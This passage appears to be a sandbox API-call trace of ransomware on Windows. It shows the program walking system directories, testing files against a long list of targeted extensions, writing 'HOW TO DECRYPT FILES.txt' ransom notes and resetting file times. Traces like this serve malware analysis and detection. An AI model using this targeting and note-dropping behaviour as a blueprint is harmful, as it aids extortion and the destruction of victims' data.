(lpString="*.docx") returned 6 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.7z") returned 0 [0111.824] lstrlenA (lpString="*.7z") returned 4 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.tar") returned 0 [0111.824] lstrlenA (lpString="*.tar") returned 5 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.bz2") returned 0 [0111.824] lstrlenA (lpString="*.bz2") returned 5 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.gz") returned 0 [0111.824] lstrlenA (lpString="*.gz") returned 4 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.mkv") returned 0 [0111.824] lstrlenA (lpString="*.mkv") returned 5 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.eml") returned 0 [0111.824] lstrlenA (lpString="*.eml") returned 5 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.msg") returned 0 [0111.824] lstrlenA (lpString="*.msg") returned 5 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.edb") returned 0 [0111.824] lstrlenA (lpString="*.edb") returned 5 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.accdb") returned 0 [0111.824] lstrlenA (lpString="*.accdb") returned 7 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.odb") returned 0 [0111.824] lstrlenA (lpString="*.odb") returned 5 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.java") returned 0 [0111.824] lstrlenA (lpString="*.java") returned 6 [0111.824] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.asm") returned 0 [0111.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.pfx") returned 0 [0111.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.pem") returned 0 [0111.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.p12") returned 0 [0111.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.gpg") returned 0 [0111.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.vsd") returned 0 [0111.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.odg") returned 0 [0111.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.raw") returned 0 [0111.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.nef") returned 0 [0111.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.svg") returned 0 [0111.825] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.psd") returned 0 [0111.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.vmx") returned 0 [0111.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.vmdk") returned 0 [0111.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.vdi") returned 0 [0111.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.lay6") returned 0 [0111.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.mpeg") returned 0 [0111.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.djvu") returned 0 [0111.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.tiff") returned 0 [0111.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.backup") returned 0 [0111.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.pdf") returned 0 [0111.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.cert") returned 0 [0111.826] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.docm") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.xlsm") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.dwg") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.nd") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.tlg") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.lgb") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.mov") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.xdw") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.ods") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.wav") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.mp3") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.aiff") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.flac") returned 0 [0111.827] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.m4a") returned 0 [0111.828] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MMCFxCommon\\98b1fc37038b59eb1fcb89ce6284190e\\MMCFxCommon.ni.dll", pszSpec="*.csv") returned 0 [0111.828] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd904196b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd904196b, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd9067acb, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x66000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCFxCommon.ni.dll", cAlternateFileName="MMCFXC~1.DLL")) returned 0 [0111.828] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.828] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd90b3d8c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xd90b3d8c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xd90b3d8c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="98b1fc37038b59eb1fcb89ce6284190e", cAlternateFileName="98B1FC~1")) returned 0 [0111.828] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0111.830] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2134, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x6c2134, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x6c2134, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d004d, dwReserved1=0x460043, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0111.830] lstrcmpA (lpString1=".", lpString2="MSBuild") returned -1 [0111.830] lstrcmpA (lpString1="..", lpString2="MSBuild") returned -1 [0111.830] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0111.830] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="MSBuild" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild" [0111.830] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2134, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x6c2134, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x6c2134, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0111.830] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.830] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2134, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x6c2134, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x6c2134, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.830] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.831] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.831] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2134, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x6c2134, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x6c2134, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1a154709cdfe214029ea88c51ab2b579", cAlternateFileName="1A1547~1")) returned 1 [0111.831] lstrcmpA (lpString1=".", lpString2="1a154709cdfe214029ea88c51ab2b579") returned -1 [0111.831] lstrcmpA (lpString1="..", lpString2="1a154709cdfe214029ea88c51ab2b579") returned -1 [0111.831] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\*.*") returned="*.*" [0111.831] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\", lpString2="1a154709cdfe214029ea88c51ab2b579" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579" [0111.831] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2134, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x6c2134, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x6c2134, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.831] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.831] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2134, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x6c2134, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x6c2134, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.831] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.831] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.831] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x675e74, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x675e74, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x675e74, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x2d000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MSBuild.ni.exe", cAlternateFileName="MSBUIL~1.EXE")) returned 1 [0111.831] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.831] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSBuild.ni.exe") returned -1 [0111.831] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSBuild.ni.exe") returned -1 [0111.831] lstrcmpiA (lpString1="", lpString2="MSBuild.ni.exe") returned -1 [0111.831] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\*.*") returned="*.*" [0111.831] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\" [0111.831] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\") returned="" [0111.832] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\HOW TO DECRYPT FILES.txt" [0111.832] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\msbuild\\1a154709cdfe214029ea88c51ab2b579\\how to decrypt files.txt")) returned 0xffffffff [0111.832] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\msbuild\\1a154709cdfe214029ea88c51ab2b579\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.833] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.834] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.835] CloseHandle (hObject=0x90) returned 1 [0111.835] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\", lpString2="MSBuild.ni.exe" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe" [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.ems") returned 0 [0111.835] lstrlenA (lpString="*.ems") returned 5 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.db") returned 0 [0111.835] lstrlenA (lpString="*.db") returned 4 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.dbf") returned 0 [0111.835] lstrlenA (lpString="*.dbf") returned 5 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.myox") returned 0 [0111.835] lstrlenA (lpString="*.myox") returned 6 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.myo") returned 0 [0111.835] lstrlenA (lpString="*.myo") returned 5 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.qbw") returned 0 [0111.835] lstrlenA (lpString="*.qbw") returned 5 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.qbb") returned 0 [0111.835] lstrlenA (lpString="*.qbb") returned 5 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.qbm") returned 0 [0111.835] lstrlenA (lpString="*.qbm") returned 5 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.qbo") returned 0 [0111.835] lstrlenA (lpString="*.qbo") returned 5 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.qbx") returned 0 [0111.835] lstrlenA (lpString="*.qbx") returned 5 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.qba") returned 0 [0111.835] lstrlenA (lpString="*.qba") returned 5 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.qby") returned 0 [0111.835] lstrlenA (lpString="*.qby") returned 5 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.qbj") returned 0 [0111.835] lstrlenA (lpString="*.qbj") returned 5 [0111.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.ofx") returned 0 [0111.836] lstrlenA (lpString="*.ofx") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.qif") returned 0 [0111.836] lstrlenA (lpString="*.qif") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.mye") returned 0 [0111.836] lstrlenA (lpString="*.mye") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.mbox") returned 0 [0111.836] lstrlenA (lpString="*.mbox") returned 6 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.eml") returned 0 [0111.836] lstrlenA (lpString="*.eml") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.pst") returned 0 [0111.836] lstrlenA (lpString="*.pst") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.ost") returned 0 [0111.836] lstrlenA (lpString="*.ost") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.idx") returned 0 [0111.836] lstrlenA (lpString="*.idx") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.dbx") returned 0 [0111.836] lstrlenA (lpString="*.dbx") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.sql") returned 0 [0111.836] lstrlenA (lpString="*.sql") returned 5 [0111.836] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\MSBuild\\1a154709cdfe214029ea88c51ab2b579\\MSBuild.ni.exe", pszSpec="*.mdb") returned 